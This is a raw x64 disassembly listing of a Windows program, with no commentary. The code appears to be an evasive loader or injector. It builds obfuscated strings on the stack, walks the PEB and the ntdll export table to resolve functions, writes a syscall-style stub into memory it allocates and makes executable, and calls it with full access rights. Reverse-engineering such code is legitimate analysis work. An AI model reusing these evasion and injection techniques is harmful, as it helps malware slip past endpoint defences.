mov edx, 0x1000
xor ecx, ecx
lea r9d, [r15 + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x2434], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x10b0]
call fcn.14002ef44
lea rcx, [rbp + 0x10b0]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x10b0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x41540], rax
add rsi, r14
cmp rsi, 0x200
jl 0x1400297a8
mov r8d, 0x1000
lea rdx, [rbp + 0x41540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor esi, esi
mov dword [rbp + 0xf18], esi
lea r9, [rbp + 0xf18]
lea r14d, [rsi + 0x20]
mov r8d, r14d
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 0x25]
lea r8, [0x1400dd338]
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x38]
call rdi
mov edi, eax
lea r9, [rbp + 0xf18]
mov r8d, dword [rbp + 0xf18]
mov esi, 0x1000
mov edx, esi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, r15
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r15d, r15d
mov dword [0x1400dd364], r15d
test edi, edi
lea esi, [r14 - 0xc]
jns 0x140029e7f
mov word [rbp + 0x338], 0x5b6e
mov r9, rbx
lea r8d, [r14 - 0x1f]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x33a], al
mov r9, rbx
lea r8d, [r14 - 0x1e]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x33b], al
mov r9, rbx
lea r8d, [r14 - 0x1d]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x33c], al
mov r9, rbx
lea r8d, [r14 - 0x1c]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x33d], al
mov r9, rbx
lea r8d, [r14 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x33e], al
mov r9, rbx
lea r8d, [r14 - 0x1a]
mov dl, WSAStartup
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x33f], al
mov r9, rbx
lea r8d, [r14 - 0x19]
mov dl, 0x61
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x340], al
mov r9, rbx
lea r8d, [r14 - 0x18]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x341], al
mov r9, rbx
lea r8d, [r14 - 0x17]
mov dl, r14b
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x342], al
mov r9, rbx
lea r8d, [r14 - 0x16]
mov dl, 0x46
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x343], al
mov r9, rbx
lea r8d, [r14 - 0x15]
mov dl, 0x61
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x344], al
mov r9, rbx
lea r8d, [r14 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x345], al
mov r9, rbx
lea r15d, [r14 - 0x13]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x346], al
mov r9, rbx
lea r8d, [r14 - 0x12]
mov dl, 0x75
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x347], al
mov r9, rbx
lea r8d, [r14 - 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x348], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x338]
call fcn.14002e0f0
mov byte [rbp + 0x349], al
xor eax, eax
mov byte [rbp + 0x34a], al
mov r8d, eax
mov r9, rbx
lea r10d, [r14 - 0x1f]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x338]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x338]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x339], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140029a78
xor edi, edi
mov byte [rbp + 0x34a], dil
mov word [rbp + 0x858], 0xde04
lea r9d, [rdi + 0x1b]
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x85a], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x85b], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x85c], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x85d], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x85e], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x85f], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x860], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x861], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x862], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xa]
mov dl, 0x50
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x863], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x864], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x865], al
lea r9d, [rdi + 0x1b]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x866], al
lea r15d, [rdi + 0x1b]
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x867], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x868], al
mov r9d, r15d
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x869], al
mov r9d, r15d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x86a], al
mov r9d, r15d
lea r8d, [rdi + 0x12]
mov dl, 0x49
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x86b], al
mov r9d, r15d
lea r8d, [rdi + 0x13]
mov dl, 0x6d
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x86c], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x86d], al
mov r9d, r15d
lea r8d, [rdi + 0x15]
mov dl, 0x67
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x86e], al
mov r9d, r15d
lea r8d, [rdi + 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x86f], al
mov r9d, r15d
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x870], al
mov r9d, r15d
lea r8d, [rdi + 0x18]
mov dl, 0x30
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x871], al
mov r9d, r15d
lea r8d, [rdi + 0x19]
mov dl, 0x78
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x872], al
mov r9d, r15d
lea r8d, [rdi + 0x1a]
mov dl, 0x34
lea rcx, [rbp + 0x858]
call fcn.14002f500
mov byte [rbp + 0x873], al
xor eax, eax
mov byte [rbp + 0x874], al
mov r8d, edi
mov r9d, r15d
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x858]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x858]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x859], dil
add r8, rbx
add r9, r15
cmp r9, 0x2f4
jb 0x140029de3
xor eax, eax
mov byte [rbp + 0x874], al
xor r9d, r9d
lea r8, [rbp + 0x339]
lea rdx, [rbp + 0x859]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
xor r15d, r15d
mov edi, 1
mov qword [rbp + 0xd98], r15
mov rax, qword [rbp + 0xd60]
mov qword [rbp - 0x38], rax
mov word [rbp + 0x7d0], 0x7d56
mov byte [rbp + 0x7d2], 0x98
mov r9, r12
mov r8d, 2
mov dl, 0x43
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7d3], al
mov r9, r12
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7d4], al
mov r9, r12
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7d5], al
mov r9, r12
mov r8d, 5
mov dl, 0x61
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7d6], al
mov r9, r12
mov r8d, 6
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7d7], al
mov r9, r12
mov r8d, 7
mov dl, 0x65
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7d8], al
mov r9, r12
mov r8d, 8
mov dl, 0x54
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7d9], al
mov r9, r12
mov r8d, 9
mov dl, 0x68
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7da], al
mov r9, r12
mov r8d, 0xa
mov dl, WSAStartup
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7db], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x65
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7dc], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7dd], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x64
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7de], al
mov r9, r12
mov r8d, select
mov dl, 0x45
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7df], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x78
lea rcx, [rbp + 0x7d0]
call fcn.14002e078
mov byte [rbp + 0x7e0], al
xor eax, eax
mov byte [rbp + 0x7e1], al
mov r8, r15
mov r9, r12
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x7d0]
add eax, edi
movsxd rdi, eax
lea rax, [r8 + 0x10]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x7d0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x7d1], dil
mov edi, 1
add r8, rdi
add r9, r12
cmp r9, 0x110
jb 0x14002a054
mov byte [rbp + 0x7e1], r15b
mov word [rbp + 0x238], 0x423b
mov byte [rbp + 0x23a], reloc.WLDAP32.dll_Ordinal_60
lea r9d, [rdi + 8]
lea r8d, [rdi + 1]
mov dl, 0x64
lea rcx, [rbp + 0x238]
call fcn.14002e000
mov byte [rbp + 0x23b], al
lea r9d, [rdi + 8]
lea r8d, [rdi + 2]
mov dl, 0x6c
lea rcx, [rbp + 0x238]
call fcn.14002e000
mov byte [rbp + 0x23c], al
lea r9d, [rdi + 8]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x238]
call fcn.14002e000
mov byte [rbp + 0x23d], al
lea r9d, [rdi + 8]
lea r8d, [rdi + 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x238]
call fcn.14002e000
mov byte [rbp + 0x23e], al
lea r9d, [rdi + 8]
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x238]
call fcn.14002e000
mov byte [rbp + 0x23f], al
lea r9d, [rdi + 8]
lea r8d, [rdi + 6]
mov dl, 0x6c
lea rcx, [rbp + 0x238]
call fcn.14002e000
mov byte [rbp + 0x240], al
lea r9d, [rdi + 8]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x238]
call fcn.14002e000
mov byte [rbp + 0x241], al
xor eax, eax
mov byte [rbp + 0x242], al
mov r8, r15
lea r9d, [rdi + 8]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x238]
add eax, edi
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x238]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x239], dil
mov edi, 1
add r8, rdi
add r9, 9
cmp r9, 0x5a
jb 0x14002a1bd
mov byte [rbp + 0x242], r15b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002a58b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14002a2b8
lea r11d, [rax + 1]
mov r8d, r11d
mov rsi, qword [rsp + 0x60]
mov ecx, r8d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14002a292
mov esi, reloc.WS2_32.dll_sendto
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r15d, r15d
mov byte [rdi + rcx], r15b
movzx edi, r15b
cmp qword [rsp + 0x60], r15
je 0x14002a312
mov rax, rcx
lea r9, [rbp + 0x239]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002a30b
add rax, r10
test edx, edx
jne 0x14002a2f6
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x14002a336
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002a259
jmp 0x14002a58b
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002a58b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002a58b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002a58b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002a58b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002a58d
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7d1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002a3c5
inc rax
test edi, edi
jne 0x14002a3b0
xor edi, edi
test r8d, r8d
je 0x14002a3da
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002a39f
jmp 0x14002a58d
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002a58d
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002a58d
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x37c4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x2440]
call fcn.14002ef44
lea rcx, [rbp + 0x2440]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov ebx, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x2440]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rbx*8 + 0x42540], rax
add rbx, r14
cmp rbx, 0x200
jl 0x14002a476
mov r8d, 0x1000
lea rdx, [rbp + 0x42540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor ebx, ebx
mov dword [rbp + 0xf08], ebx
lea r9, [rbp + 0xf08]
lea r14d, [rbx + 0x20]
mov r8d, r14d
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x38]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xd98]
call rdi
mov edi, eax
lea r9, [rbp + 0xf08]
mov r8d, dword [rbp + 0xf08]
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1400b4da0
lea edx, [rbx + 0xb]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dd364], ebx
test edi, edi
lea ebx, [r14 - 0xf]
js 0x14002c4b2
xor edi, edi
mov rax, qword [rbp + 0xd98]
mov qword [rbp - 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x14002c4b2
mov dword [rbp + 0xb70], 0x8c91f514
mov byte [rbp + 0xb74], 0xcc
mov r15d, reloc.WS2_32.dll_setsockopt
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, 0x69
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb75], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb76], al
mov r9d, r15d
lea r8d, [r15 - 0xf]
mov dl, 0x46
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb77], al
mov r9d, r15d
lea r8d, [r15 - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb78], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, WSAStartup
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb79], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb7a], al
mov r9d, r15d
lea r8d, [r15 - 0xb]
mov dl, 0x69
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb7b], al
mov r9d, r15d
lea r8d, [r15 - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb7c], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, 0x67
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb7d], al
mov r9d, r15d
lea r8d, [r15 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb7e], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x65
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb7f], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb80], al
mov r9d, r15d
mov r8, r12
mov dl, 0x62
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb81], al
mov r9d, r15d
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb82], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, 0x65
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb83], al
mov r9d, r15d
lea r8d, [r15 - 2]
mov dl, 0x63
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb84], al
mov r9d, r15d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb70]
call fcn.14002e1e0
mov byte [rbp + 0xb85], al
xor eax, eax
mov byte [rbp + 0xb86], al
mov r8, rdi
mov r9d, r15d
lea r10d, [r15 - 0x14]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb70]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb70]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb71], dil
add r8, r10
add r9, r15
cmp r9, 0x1ce
jb 0x14002a79d
xor edi, edi
mov byte [rbp + 0xb86], dil
mov dword [rbp + 0xbb0], 0x68c63875
mov word [rbp + 0xbb4], 0x45c5
lea r15d, [rdi + 9]
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xbb0]
call fcn.14002e000
mov byte [rbp + 0xbb6], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xbb0]
call fcn.14002e000
mov byte [rbp + 0xbb7], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xbb0]
call fcn.14002e000
mov byte [rbp + 0xbb8], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xbb0]
call fcn.14002e000
mov byte [rbp + 0xbb9], al
xor eax, eax
mov byte [rbp + 0xbba], al
mov r8d, edi
mov r9d, r15d
lea r15d, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xbb0]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbb0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbb1], dil
add r8, r15
add r9, 9
cmp r9, 0x5a
jb 0x14002a8b6
xor eax, eax
mov byte [rbp + 0xbba], al
mov rax, qword gs:[0x60]
xor r9d, r9d
test rax, rax
je 0x14002ac5b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
xor eax, eax
mov r15d, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14002a9b9
lea r11d, [rax + 1]
mov r8d, r11d
mov r12, qword [rsp + 0x60]
mov ecx, r8d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14002a990
mov r12d, reloc.WS2_32.dll_recv
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
lea r15d, [r10 + 1]
cmp qword [rsp + 0x60], r10
je 0x14002aa13
mov rax, rcx
lea r9, [rbp + 0xbb1]
sub r9, rcx
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002aa0c
add rax, r15
test edx, edx
jne 0x14002a9f7
test r8d, r8d
cmove edi, r15d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x14002aa3a
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002a952
jmp 0x14002ac5b
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002ac5b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ac5b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002ac5b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002ac5b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
